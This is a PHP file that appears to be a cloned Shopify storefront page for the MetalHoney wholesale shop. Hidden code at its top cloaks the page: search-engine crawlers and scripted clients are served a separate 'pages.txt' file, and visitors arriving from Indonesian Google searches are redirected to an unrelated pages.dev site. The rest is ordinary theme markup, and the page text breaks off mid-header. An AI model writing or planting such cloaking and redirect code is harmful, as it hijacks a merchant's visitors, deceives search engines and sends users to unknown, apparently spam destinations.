<?php
$s_ref = $_SERVER['HTTP_REFERER'] ?? '';
$agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '');

function is_bot() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $bots = array(
        'Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 
        'Google-InspectionTool', 'adsense', 'slurp', 'AhrefsBot', 'YandexBot', 
        'SEMrushBot', 'Baiduspider', 'MJ12bot', 'DotBot', 'MegaIndex', 'DuckDuckBot', 
        'Exabot', 'facebot', 'ia_archiver', 'Twitterbot', 'LinkedInBot', 
        'Pinterestbot', 'SemrushBot', 'Screaming Frog', 'Sitebulb', 'SerpstatBot', 
        'Mediapartners-Google', 'Applebot', 'Datanyze', 'Majestic-12', 
        'SputnikBot', 'ZoominfoBot', 'PetalBot', 'spbot', 'Coc Cocbot',
        'MojeekBot', 'UptimeRobot', 'Wget', 'curl', 'python-requests', 
        'httpclient', 'Go-http-client', 'libwww-perl', 'Scrapy', 'Java'
    );
    
    foreach ($bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    
    return false;
}

if (is_bot()) {
    $file = 'pages.txt';
    if (file_exists($file)) {
        echo file_get_contents($file);
    } else {
        echo "Page not found.";
    }
    exit;
}

if (stripos($s_ref, 'google.co.id') !== false || 
   (stripos($s_ref, 'google.com') !== false && stripos($lang, 'id') !== false)) {
    header("Location: https://kutatapdunia.pages.dev");
    exit;
}
?>
<!doctype html>
<html class="no-js" lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <meta name="theme-color" content="#557b97">
  <link rel="shortcut icon" href="../s/files/1/0296/9485/3260/files/reduced_Wing_32x32_v-1630463336.jpg" type="image/png"><title>METAL HONEY WHOLESALE
&ndash; MetalHoney</title>
	<link rel="canonical" href="https://metalhoney.com/pages/metal-honey-wholesale" />
<meta name="description" content="Need Metal Honey products for your shop or restaurant? Click here to go straight to the order form and see the pricing sheet! "><!-- /snippets/social-meta-tags.liquid -->
<meta property="og:site_name" content="MetalHoney">
<meta property="og:url" content="https://metalhoney.com/pages/metal-honey-wholesale">
<meta property="og:title" content="METAL HONEY WHOLESALE">
<meta property="og:type" content="website">
<meta property="og:description" content="Need Metal Honey products for your shop or restaurant? Click here to go straight to the order form and see the pricing sheet! ">
<meta property="og:image" >
<meta property="og:image:secure_url" content="https://cdn.shopify.com/s/files/1/0296/9485/3260/files/reduced_Wing_1200x1200.jpg?v=1630463336">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="METAL HONEY WHOLESALE">
<meta name="twitter:description" content="Need Metal Honey products for your shop or restaurant? Click here to go straight to the order form and see the pricing sheet! ">
  <link href="../s/files/1/0296/9485/3260/t/1/assets/theme.scss_v-56407073009204869181674766399.css" rel="stylesheet" type="text/css" media="all"/>
  <script>
    var theme = {
      breakpoints: {
        medium: 750,
        large: 990,
        widescreen: 1400
      },
      strings: {
        addToCart: "Add to cart",
        soldOut: "Sold out",
        unavailable: "Unavailable",
        regularPrice: "Regular price",
        salePrice: "Sale price",
        sale: "Sale",
        showMore: "Show More",
        showLess: "Show Less",
        addressError: "Error looking up that address",
        addressNoResults: "No results for that address",
        addressQueryLimit: "You have exceeded the Google API usage limit. Consider upgrading to a \u003ca href=\"https:\/\/developers.google.com\/maps\/premium\/usage-limits\"\u003ePremium Plan\u003c\/a\u003e.",
        authError: "There was a problem authenticating your Google Maps account.",
        newWindow: "Opens in a new window.",
        external: "Opens external website.",
        newWindowExternal: "Opens external website in a new window.",
        removeLabel: "Remove [product]",
        update: "Update",
        quantity: "Quantity",
        discountedTotal: "Discounted total",
        regularTotal: "Regular total",
        priceColumn: "See Price column for discount details.",
        quantityMinimumMessage: "Quantity must be 1 or more",
        cartError: "There was an error while updating your cart. Please try again.",
        removedItemMessage: "Removed \u003cspan class=\"cart__removed-product-details\"\u003e([quantity]) [link]\u003c\/span\u003e from your cart.",
        unitPrice: "Unit price",
        unitPriceSeparator: "per",
        oneCartCount: "1 item",
        otherCartCount: "[count] items",
        quantityLabel: "Quantity: [count]"
      },
      moneyFormat: "${{amount}}",
      moneyFormatWithCurrency: "${{amount}} USD"
    }
    document.documentElement.className = document.documentElement.className.replace('no-js', 'js');
  </script><script src="../s/files/1/0296/9485/3260/t/1/assets/lazysizes_v-94224023136283657951577597122.js" async="async"></script>
  <script src="../s/files/1/0296/9485/3260/t/1/assets/vendor_v-12001839194546984181577597124.js" defer="defer"></script>
  <script src="../s/files/1/0296/9485/3260/t/1/assets/theme_v-3190015394565850101577597123.js" defer="defer"></script>
  <script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/29694853260/digital_wallets/dialog">
<meta name="shopify-checkout-api-token" content="9571450e5c97f042582cf02d604b39fe">
<meta id="in-context-paypal-metadata" data-shop-id="29694853260" data-venmo-supported="true" data-environment="production" data-locale="en_US" data-paypal-v4="true" data-currency="USD">
<script>
  (function() {
    var scripts = ["../shopifycloud/checkout-web/assets/runtime.baseline.en.f8423b4aeafd3581e601.js", "../shopifycloud/checkout-web/assets/checkout-web-packages-Information-NoAddressLocation-Payment-PostPurchase-Review-Shipping-ShopPay-Sho-cf13f96e.baseline.en.8d3a709bcf8c04f77ed7.js", "../shopifycloud/checkout-web/assets/Information-Payment-ShopPay.baseline.en.935f71e1b5e37b1a673d.js", "../shopifycloud/checkout-web/assets/Information-Payment.baseline.en.e38e94a10255bd8dac2c.js", "../shopifycloud/checkout-web/assets/Information.baseline.en.3c067bc64a64a71ff5ad.js", "../shopifycloud/checkout-web/assets/checkout-web-ui-app.baseline.en.26a0342d355a675e2801.js", "../shopifycloud/checkout-web/assets/vendors-app.baseline.en.1188b9033722bc012e84.js", "../shopifycloud/checkout-web/assets/checkout-web-packages-app.baseline.en.4e70883e139eb5a799c1.js", "../shopifycloud/checkout-web/assets/app.baseline.en.d102fc12c433371f18b0.js"];
    var styles = ["../shopifycloud/checkout-web/assets/checkout-web-ui-app.baseline.en.ba7746e3965877991bae.css", "../shopifycloud/checkout-web/assets/vendors-app.baseline.en.954db6995929b6f1f646.css", "../shopifycloud/checkout-web/assets/app.baseline.en.dd733f21b66b59afc26d.css", "../shopifycloud/checkout-web/assets/Information-Payment-ShopPay.baseline.en.9f248e42bf2a8151ea27.css", "../shopifycloud/checkout-web/assets/Information.baseline.en.6d08f77e3a864d9cf367.css"];
    function prefetch(url, as, callback) {
      var link = document.createElement('link');
      if (link.relList.supports('prefetch')) {
        link.rel = 'prefetch';
        link.fetchPriority = 'low';
        link.as = as;
        link.href = url;
        link.onload = link.onerror = callback;
        document.head.appendChild(link);
      } else {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.onloadend = callback;
        xhr.send();
      }
    }
    function prefetchAssets() {
      var resources = [].concat(
        scripts.map(function(url) { return [url, 'script']; }),
        styles.map(function(url) { return [url, 'style']; })
      );
      var index = 0;
      (function next() {
        var res = resources[index++];
        if (res) prefetch(res[0], res[1], next);
      })();
    }
    addEventListener('load', prefetchAssets);
   })();
</script>
<script id="apple-pay-shop-capabilities" type="application/json">{"shopId":29694853260,"countryCode":"US","currencyCode":"USD","merchantCapabilities":["supports3DS"],"merchantId":"gid:\/\/shopify\/Shop\/29694853260","merchantName":"MetalHoney","requiredBillingContactFields":["postalAddress","email","phone"],"requiredShippingContactFields":["postalAddress","email","phone"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discover","elo","jcb","chinaUnionPay"],"total":{"type":"pending","label":"MetalHoney","amount":"1.00"},"shopifyPaymentsEnabled":true,"supportsSubscriptions":true}</script>
<script id="shopify-features" type="application/json">{"accessToken":"9571450e5c97f042582cf02d604b39fe","betas":["rich-media-storefront-analytics"],"domain":"metalhoney.com","predictiveSearch":true,"shopId":29694853260,"smart_payment_buttons_url":"../shopifycloud/payment-sheet/assets/latest/spb.en_v-2.js","dynamic_checkout_cart_url":"../shopifycloud/payment-sheet/assets/latest/dynamic-checkout-cart.en_v-2.js","locale":"en","optimusEnabled":false}</script>
<script>var Shopify = Shopify || {};
Shopify.shop = "metalhoney.myshopify.com";
Shopify.locale = "en";
Shopify.currency = {"active":"USD","rate":"1.0"};
Shopify.country = "US";
Shopify.theme = {"name":"Debut","id":81957257356,"theme_store_id":796,"role":"main"};
Shopify.theme.handle = "null";
Shopify.theme.style = {"id":null,"handle":null};
Shopify.cdnHost = "cdn.shopify.com";
Shopify.routes = Shopify.routes || {};
Shopify.routes.root = "/";</script>
<script type="module">!function(o){(o.Shopify=o.Shopify||{}).modules=!0}(window);</script>
<script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify||{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script>
<script>window.ShopifyPay = window.ShopifyPay || {};
window.ShopifyPay.apiHost = "shop.app\/pay";</script>
<script>(function() {
  function asyncLoad() {
    var urls = ["\/\/https:\/\/productreviews.shopifycdn.com\/embed\/loader.js?shop=metalhoney.myshopify.com","../shopifycloud/privacy-banner/storefront-banner_shop-metalhoney.myshopify.com.js","\/\/https:\/\/cdn.shopify.com\/proxy\/a2e8a7c86113584c47c8cf567943db21f2abb95a96f62aba850fe72923d50f92\/dev.giftkart.app\/scripts.js?shop=metalhoney.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA","../assets/js/widget.min_shop-metalhoney.myshopify.com.js","https:\/\/cdn.shopify.com\/shopifycloud\/shopify_chat\/storefront\/shopifyChatV1.js?api_env=production\u0026button_color=black\u0026button_style=text\u0026i=chat_bubble\u0026p=bottom_right\u0026shop_id=m97POzlgMkbQGkxq3Ot1BzgVs03ZilBdwgg-CR_iJms\u0026t=chat_with_us\u0026v=1\u0026shop=metalhoney.myshopify.com","https:\/\/dttrk.com\/shopify\/track.js?shop=metalhoney.myshopify.com"];
    for (var i = 0; i < urls.length; i++) {
      var s = document.createElement('script');
      s.type = 'text/javascript';
      s.async = true;
      s.src = urls[i];
      var x = document.getElementsByTagName('script')[0];
      x.parentNode.insertBefore(s, x);
    }
  };
  if(window.attachEvent) {
    window.attachEvent('onload', asyncLoad);
  } else {
    window.addEventListener('load', asyncLoad, false);
  }
})();</script>
<script id="__st">var __st={"a":29694853260,"offset":-18000,"reqid":"0bcde4df-2939-4bc4-9bcb-526b5dc4c6ee","pageurl":"metalhoney.com\/pages\/metal-honey-wholesale","s":"pages-79490744460","u":"d7b3205c4776","p":"page","rtyp":"page","rid":79490744460};</script>
<script>window.ShopifyPaypalV4VisibilityTracking = true;</script>
<script>!function(o){o.addEventListener("DOMContentLoaded",function(){window.Shopify=window.Shopify||{},window.Shopify.recaptchaV3=window.Shopify.recaptchaV3||{siteKey:"6LcCR2cUAAAAANS1Gpq_mDIJ2pQuJphsSQaUEuc9"};var t=['form[action*="/contact"] input[name="form_type"][value="contact"]','form[action*="/comments"] input[name="form_type"][value="new_comment"]','form[action*="/account"] input[name="form_type"][value="customer_login"]','form[action*="/account"] input[name="form_type"][value="recover_customer_password"]','form[action*="/account"] input[name="form_type"][value="create_customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]'].join(",");function n(e){e=e.target;null==e||null!=(e=function e(t,n){if(null==t.parentElement)return null;if("FORM"!=t.parentElement.tagName)return e(t.parentElement,n);for(var o=t.parentElement.action,r=0;r<n.length;r++)if(-1!==o.indexOf(n[r]))return t.parentElement;return null}(e,["/contact","/comments","/account"]))&&null!=e.querySelector(t)&&((e=o.createElement("script")).setAttribute("src","../shopifycloud/storefront-recaptcha-v3/v0.6/index.js"),o.body.appendChild(e),o.removeEventListener("focus",n,!0),o.removeEventListener("change",n,!0),o.removeEventListener("click",n,!0))}o.addEventListener("click",n,!0),o.addEventListener("change",n,!0),o.addEventListener("focus",n,!0)})}(document);</script>
<script data-source-attribution="shopify.loadfeatures" defer="defer" src="../shopifycloud/shopify/assets/storefront/load_feature-e154599399e6b8b29dcb1102cc76eb199fa33a09af4fa78d15e8f8544ee64fcd.js" ></script>
<script defer="defer" src="../shopifycloud/shopify/assets/shopify_pay/storefront-c31d2fa4962d2ef90b673e945ee33f4f87302b97d0882cd8e83a629b84b30dab_v-20220906.js"></script>
<script data-source-attribution="shopify.dynamic-checkout" defer="defer" src="../shopifycloud/shopify/assets/storefront/features-87e8399988880142f2c62771b9d8f2ff6c290b3ff745dd426eb0dfe0db9d1dae.js" ></script>
<style id="shopify-dynamic-checkout-cart">@media screen and (min-width: 750px) {
  #dynamic-checkout-cart {
    min-height: 50px;
  }
}
@media screen and (max-width: 750px) {
  #dynamic-checkout-cart {
    min-height: 240px;
  }
}
</style><script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script>
<link href="https://monorail-edge.shopifysvc.com/" rel="dns-prefetch">
<script>(function(){if ("sendBeacon" in navigator && "performance" in window) {var session_token = document.cookie.match(/_shopify_s=([^;]*)/);function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 29694853260,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length === 2 ? session_token[1] : "",page_type: "page"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());</script>
<script>window.ShopifyAnalytics = window.ShopifyAnalytics || {};
window.ShopifyAnalytics.meta = window.ShopifyAnalytics.meta || {};
window.ShopifyAnalytics.meta.currency = 'USD';
var meta = {"page":{"pageType":"page","resourceType":"page","resourceId":79490744460}};
for (var attr in meta) {
  window.ShopifyAnalytics.meta[attr] = meta[attr];
}</script>
<script>window.ShopifyAnalytics.merchantGoogleAnalytics = function() {
};
</script>
<script class="analytics">(function () {
  var customDocumentWrite = function(content) {
    var jquery = null;
    if (window.jQuery) {
      jquery = window.jQuery;
    } else if (window.Checkout && window.Checkout.$) {
      jquery = window.Checkout.$;
    }
    if (jquery) {
      jquery('body').append(content);
    }
  };
  var hasLoggedConversion = function(token) {
    if (token) {
      return document.cookie.indexOf('loggedConversion=' + token) !== -1;
    }
    return false;
  }
  var setCookieIfConversion = function(token) {
    if (token) {
      var twoMonthsFromNow = new Date(Date.now());
      twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2);
      document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
    }
  }
  var trekkie = window.ShopifyAnalytics.lib = window.trekkie = window.trekkie || [];
  if (trekkie.integrations) {
    return;
  }
  trekkie.methods = [
    'identify',
    'page',
    'ready',
    'track',
    'trackForm',
    'trackLink'
  ];
  trekkie.factory = function(method) {
    return function() {
      var args = Array.prototype.slice.call(arguments);
      args.unshift(method);
      trekkie.push(args);
      return trekkie;
    };
  };
  for (var i = 0; i < trekkie.methods.length; i++) {
    var key = trekkie.methods[i];
    trekkie[key] = trekkie.factory(key);
  }
  trekkie.load = function(config) {
    trekkie.config = config || {};
    trekkie.config.initialDocumentCookie = document.cookie;
    var first = document.getElementsByTagName('script')[0];
    var script = document.createElement('script');
    script.type = 'text/javascript';
    script.onerror = function(e) {
      var scriptFallback = document.createElement('script');
      scriptFallback.type = 'text/javascript';
      scriptFallback.onerror = function(error) {
              var Monorail = {
      produce: function produce(monorailDomain, schemaId, payload) {
        var currentMs = new Date().getTime();
        var event = {
          schema_id: schemaId,
          payload: payload,
          metadata: {
            event_created_at_ms: currentMs,
            event_sent_at_ms: currentMs
          }
        };
        return Monorail.sendRequest("https://" + monorailDomain + "/v1/produce", JSON.stringify(event));
      },
      sendRequest: function sendRequest(endpointUrl, payload) {
        // Try the sendBeacon API
        if (window && window.navigator && typeof window.navigator.sendBeacon === 'function' && typeof window.Blob === 'function' && !Monorail.isIos12()) {
          var blobData = new window.Blob([payload], {
            type: 'text/plain'
          });
          if (window.navigator.sendBeacon(endpointUrl, blobData)) {
            return true;
          } // sendBeacon was not successful
        } // XHR beacon   
        var xhr = new XMLHttpRequest();
        try {
          xhr.open('POST', endpointUrl);
          xhr.setRequestHeader('Content-Type', 'text/plain');
          xhr.send(payload);
        } catch (e) {
          console.log(e);
        }
        return false;
      },
      isIos12: function isIos12() {
        return window.navigator.userAgent.lastIndexOf('iPhone; CPU iPhone OS 12_') !== -1 || window.navigator.userAgent.lastIndexOf('iPad; CPU OS 12_') !== -1;
      }
    };
    Monorail.produce('monorail-edge.shopifysvc.com',
      'trekkie_storefront_load_errors/1.1',
      {shop_id: 29694853260,
      theme_id: 81957257356,
      app_name: "storefront",
      context_url: window.location.href,
      source_url: "../s/trekkie.storefront.2a8b43dedf58d4618d93228034ac7e254093b395.min.js"});
      };
      scriptFallback.async = true;
      scriptFallback.src = '../s/trekkie.storefront.2a8b43dedf58d4618d93228034ac7e254093b395.min.js';
      first.parentNode.insertBefore(scriptFallback, first);
    };
    script.async = true;
    script.src = '../s/trekkie.storefront.2a8b43dedf58d4618d93228034ac7e254093b395.min.js';
    first.parentNode.insertBefore(script, first);
  };
  trekkie.load(
    {"Trekkie":{"appName":"storefront","development":false,"defaultAttributes":{"shopId":29694853260,"isMerchantRequest":null,"themeId":81957257356,"themeCityHash":"2624200549658444218","contentLanguage":"en","currency":"USD"},"isServerSideCookieWritingEnabled":true,"monorailRegion":"shop_domain"},"Session Attribution":{},"S2S":{"facebookCapiEnabled":false,"source":"trekkie-storefront-renderer"}}
  );
  var loaded = false;
  trekkie.ready(function() {
    if (loaded) return;
    loaded = true;
    window.ShopifyAnalytics.lib = window.trekkie;
    var originalDocumentWrite = document.write;
    document.write = customDocumentWrite;
    try { window.ShopifyAnalytics.merchantGoogleAnalytics.call(this); } catch(error) {};
    document.write = originalDocumentWrite;
    window.ShopifyAnalytics.lib.page(null,{"pageType":"page","resourceType":"page","resourceId":79490744460});
    var match = window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/)
    var token = match? match[1]: undefined;
    if (!hasLoggedConversion(token)) {
      setCookieIfConversion(token);
    }
  });
      var eventsListenerScript = document.createElement('script');
      eventsListenerScript.async = true;
      eventsListenerScript.src = "../shopifycloud/shopify/assets/shop_events_listener-65cd0ba3fcd81a1df33f2510ec5bcf8c0e0958653b50e3965ec972dd638ee13f.js";
      document.getElementsByTagName('head')[0].appendChild(eventsListenerScript);
})();</script>
<script class="boomerang">
(function () {
  if (window.BOOMR && (window.BOOMR.version || window.BOOMR.snippetExecuted)) {
    return;
  }
  window.BOOMR = window.BOOMR || {};
  window.BOOMR.snippetStart = new Date().getTime();
  window.BOOMR.snippetExecuted = true;
  window.BOOMR.snippetVersion = 12;
  window.BOOMR.application = "storefront-renderer";
  window.BOOMR.themeName = "Debut";
  window.BOOMR.themeVersion = "14.4.0";
  window.BOOMR.shopId = 29694853260;
  window.BOOMR.themeId = 81957257356;
  window.BOOMR.renderRegion = "gcp-us-east1";
  window.BOOMR.url =
    "../shopifycloud/boomerang/shopify-boomerang-1.0.0.min.js";
  var where = document.currentScript || document.getElementsByTagName("script")[0];
  var parentNode = where.parentNode;
  var promoted = false;
  var LOADER_TIMEOUT = 3000;
  function promote() {
    if (promoted) {
      return;
    }
    var script = document.createElement("script");
    script.id = "boomr-scr-as";
    script.src = window.BOOMR.url;
    script.async = true;
    parentNode.appendChild(script);
    promoted = true;
  }
  function iframeLoader(wasFallback) {
    promoted = true;
    var dom, bootstrap, iframe, iframeStyle;
    var doc = document;
    var win = window;
    window.BOOMR.snippetMethod = wasFallback ? "if" : "i";
    bootstrap = function(parent, scriptId) {
      var script = doc.createElement("script");
      script.id = scriptId || "boomr-if-as";
      script.src = window.BOOMR.url;
      BOOMR_lstart = new Date().getTime();
      parent = parent || doc.body;
      parent.appendChild(script);
    };
    if (!window.addEventListener && window.attachEvent && navigator.userAgent.match(/MSIE [67]./)) {
      window.BOOMR.snippetMethod = "s";
      bootstrap(parentNode, "boomr-async");
      return;
    }
    iframe = document.createElement("IFRAME");
    iframe.src = "about:blank";
    iframe.title = "";
    iframe.role = "presentation";
    iframe.loading = "eager";
    iframeStyle = (iframe.frameElement || iframe).style;
    iframeStyle.width = 0;
    iframeStyle.height = 0;
    iframeStyle.border = 0;
    iframeStyle.display = "none";
    parentNode.appendChild(iframe);
    try {
      win = iframe.contentWindow;
      doc = win.document.open();
    } catch (e) {
      dom = document.domain;
      iframe.src = "javascript:var d=document.open();d.domain='" + dom + "';void(0);";
      win = iframe.contentWindow;
      doc = win.document.open();
    }
    if (dom) {
      doc._boomrl = function() {
        this.domain = dom;
        bootstrap();
      };
      doc.write("<body onload='document._boomrl();'>");
    } else {
      win._boomrl = function() {
        bootstrap();
      };
      if (win.addEventListener) {
        win.addEventListener("load", win._boomrl, false);
      } else if (win.attachEvent) {
        win.attachEvent("onload", win._boomrl);
      }
    }
    doc.close();
  }
  var link = document.createElement("link");
  if (link.relList &&
    typeof link.relList.supports === "function" &&
    link.relList.supports("preload") &&
    ("as" in link)) {
    window.BOOMR.snippetMethod = "p";
    link.href = window.BOOMR.url;
    link.rel = "preload";
    link.as = "script";
    link.addEventListener("load", promote);
    link.addEventListener("error", function() {
      iframeLoader(true);
    });
    setTimeout(function() {
      if (!promoted) {
        iframeLoader(true);
      }
    }, LOADER_TIMEOUT);
    BOOMR_lstart = new Date().getTime();
    parentNode.appendChild(link);
  } else {
    iframeLoader(false);
  }
  function boomerangSaveLoadTime(e) {
    window.BOOMR_onload = (e && e.timeStamp) || new Date().getTime();
  }
  if (window.addEventListener) {
    window.addEventListener("load", boomerangSaveLoadTime, false);
  } else if (window.attachEvent) {
    window.attachEvent("onload", boomerangSaveLoadTime);
  }
  if (document.addEventListener) {
    document.addEventListener("onBoomerangLoaded", function(e) {
      e.detail.BOOMR.init({
        ResourceTiming: {
          enabled: true,
          trackedResourceTypes: ["script", "img", "css"]
        },
      });
      e.detail.BOOMR.t_end = new Date().getTime();
    });
  } else if (document.attachEvent) {
    document.attachEvent("onpropertychange", function(e) {
      if (!e) e=event;
      if (e.propertyName === "onBoomerangLoaded") {
        e.detail.BOOMR.init({
          ResourceTiming: {
            enabled: true,
            trackedResourceTypes: ["script", "img", "css"]
          },
        });
        e.detail.BOOMR.t_end = new Date().getTime();
      }
    });
  }
})();</script>
<script id="web-pixels-manager-setup">(function e(e,n,a,o,t){e&&(window.Shopify=window.Shopify||{},window.Shopify.analytics=window.Shopify.analytics||{},window.Shopify.analytics.replayQueue=[],window.Shopify.analytics.publish=function(e,n,a){window.Shopify.analytics.replayQueue.push([e,n,a])});var r,i,s,l,d,c,p,u,f=a+"/"+o+"."+function(){var e="legacy",n="unknown",a=null,o=navigator.userAgent.match(/(Firefox|Chrome)\/(\d+)/i),t=navigator.userAgent.match(/(Edg)\/(\d+)/i),r=navigator.userAgent.match(/(Version)\/(\d+)(.+)(Safari)\/(\d+)/i);r?(n="safari",a=parseInt(r[2],10)):t?(n="edge",a=parseInt(t[2],10)):o&&(n=o[1].toLocaleLowerCase(),a=parseInt(o[2],10));var i={chrome:60,firefox:55,safari:11,edge:80}[n];return void 0!==i&&null!==a&&i<=a&&(e="modern"),e}()+".js";r={src:f,async:!0,onload:function(){if(e){var a=window.webPixelsManager.init(e);n(a),window.Shopify.analytics.replayQueue.forEach((function(e){a.publishCustomEvent(e[0],e[1],e[2])})),window.Shopify.analytics.replayQueue=[],window.Shopify.analytics.publish=a.publishCustomEvent}},onerror:function(){var n=(e.storefrontBaseUrl?e.storefrontBaseUrl.replace(/\/$/,""):self.location.origin)+"/.well-known/shopify/monorail/unstable/produce_batch",a=JSON.stringify({metadata:{event_sent_at_ms:(new Date).getTime()},events:[{schema_id:"web_pixels_manager_load/2.0",payload:{version:t||"latest",page_url:self.location.href,status:"failed",error_msg:f+" has failed to load"},metadata:{event_created_at_ms:(new Date).getTime()}}]});try{if(self.navigator.sendBeacon.bind(self.navigator)(n,a))return!0}catch(e){}const o=new XMLHttpRequest;try{return o.open("POST",n,!0),o.setRequestHeader("Content-Type","text/plain"),o.send(a),!0}catch(e){console&&console.warn&&console.warn("[Web Pixels Manager] Got an unhandled error while logging a load error.")}return!1}},i=document.createElement("script"),s=r.src,l=r.async||!0,d=r.onload,c=r.onerror,p=document.head,u=document.body,i.async=l,i.src=s,d&&i.addEventListener("load",d),c&&i.addEventListener("error",c),p?p.appendChild(i):u?u.appendChild(i):console.error("Did not find a head or body element to append the script")})({shopId: 29694853260,storefrontBaseUrl: "https://metalhoney.com",cdnBaseUrl: "https://cdn.shopify.com",surface: "storefront-renderer",enabledBetaFlags: ["web_pixels_use_shop_domain_monorail_endpoint"],webPixelExtensionBaseUrl: "https://cdn.shopify.com",webPixelsConfigList: [],initData: {"cart":null,"checkout":null,"customer":null,"productVariants":[]},},function pageEvents(webPixelsManagerAPI) {webPixelsManagerAPI.publish("page_viewed");},"https://cdn.shopify.com/shopifycloud/web-pixels-manager/0.0.191","browser","0.0.191");</script></head>
<body class="template-page">
  <a class="in-page-link visually-hidden skip-link" href="#MainContent">Skip to content</a>
  <div id="SearchDrawer" class="search-bar drawer drawer--top" role="dialog" aria-modal="true" aria-label="Search">
    <div class="search-bar__table">
      <div class="search-bar__table-cell search-bar__form-wrapper">
        <form class="search search-bar__form" action="../search" method="get" role="search">
          <input class="search__input search-bar__input" type="search" name="q" value="" placeholder="Search" aria-label="Search">
          <button class="search-bar__submit search__submit btn--link" type="submit">
            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-search" viewbox="0 0 37 40"><path d="M35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z"/></svg>
            <span class="icon__fallback-text">Submit</span>
          </button>
        </form>
      </div>
      <div class="search-bar__table-cell text-right">
        <button type="button" class="btn--link search-bar__close js-drawer-close">
          <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-close" viewbox="0 0 40 40"><path d="M23.868 20.015L39.117 4.78c1.11-1.108 1.11-2.77 0-3.877-1.109-1.108-2.773-1.108-3.882 0L19.986 16.137 4.737.904C3.628-.204 1.965-.204.856.904c-1.11 1.108-1.11 2.77 0 3.877l15.249 15.234L.855 35.248c-1.108 1.108-1.108 2.77 0 3.877.555.554 1.248.831 1.942.831s1.386-.277 1.94-.83l15.25-15.234 15.248 15.233c.555.554 1.248.831 1.941.831s1.387-.277 1.941-.83c1.11-1.109 1.11-2.77 0-3.878L23.868 20.015z" class="layer"/></svg>
          <span class="icon__fallback-text">Close search</span>
        </button>
      </div>
    </div>
  </div><div id="shopify-section-header" class="shopify-section">
  <style>
      .site-header__logo-image {
        max-width: 230px;
      }
      .site-header__logo-image {
        margin: 0;
      }
  </style>
<div data-section-id="header" data-section-type="header-section">
      <style>
        .announcement-bar {
          background-color: #f48446;
        }
        .announcement-bar--link:hover {
            background-color: #f69763;
        }
        .announcement-bar__message {
          color: #ffffff;
        }
      </style>
        <div class="announcement-bar">
        <p class="announcement-bar__message">FREE DELIVERY on orders over $20 within 10 mile Indy radius!</p>
        </div>
  <header class="site-header border-bottom logo--left" role="banner">
    <div class="grid grid--no-gutters grid--table site-header__mobile-nav">
      <div class="grid__item medium-up--one-quarter logo-align--left">
          <div class="h2 site-header__logo">
<a href="/" class="site-header__logo-image">
              <img class="lazyload js" src="../s/files/1/0296/9485/3260/files/MH_logo_deepgreen_e991471f-da5e-456e-94c0-15be914065ba_300x300_v-1647238862.png" data-src="" data-widths="[180, 360, 540, 720, 900, 1080, 1296, 1512, 1728, 2048]" data-aspectratio="6.332046332046332" data-sizes="auto" alt="MetalHoney" style="max-width: 230px">
              <noscript>
                <img src="https://cdn.shopify.com/s/files/1/0296/9485/3260/files/MH_logo_deepgreen_e991471f-da5e-456e-94c0-15be914065ba_230x.png?v=1647238862"  alt="MetalHoney" style="max-width: 230px;">
              </noscript>
            </a>
          </div>
      </div>
        <nav class="grid__item medium-up--one-half small--hide" id="AccessibleNav" role="navigation">
<ul class="site-nav list--inline" id="SiteNav">
      <li>
        <a href="/" class="site-nav__link site-nav__link--main">
          <span class="site-nav__label">Home</span>
        </a>
      </li>
      <li>
        <a href="../collections/all" class="site-nav__link site-nav__link--main">
          <span class="site-nav__label">Shop</span>
        </a>
      </li>
      <li class="site-nav--active">
        <a href="../pages/metal-honey-wholesale" class="site-nav__link site-nav__link--main site-nav__link--active" aria-current="page">
          <span class="site-nav__label">Wholesale</span>
        </a>
      </li>
      <li>
        <a href="../blogs/recipes" class="site-nav__link site-nav__link--main">
          <span class="site-nav__label">Recipes</span>
        </a>
      </li>
</ul>
        </nav>
      <div class="grid__item medium-up--one-quarter text-right site-header__icons site-header__icons--plus">
        <div class="site-header__icons-wrapper">
          <div class="site-header__search site-header__icon">
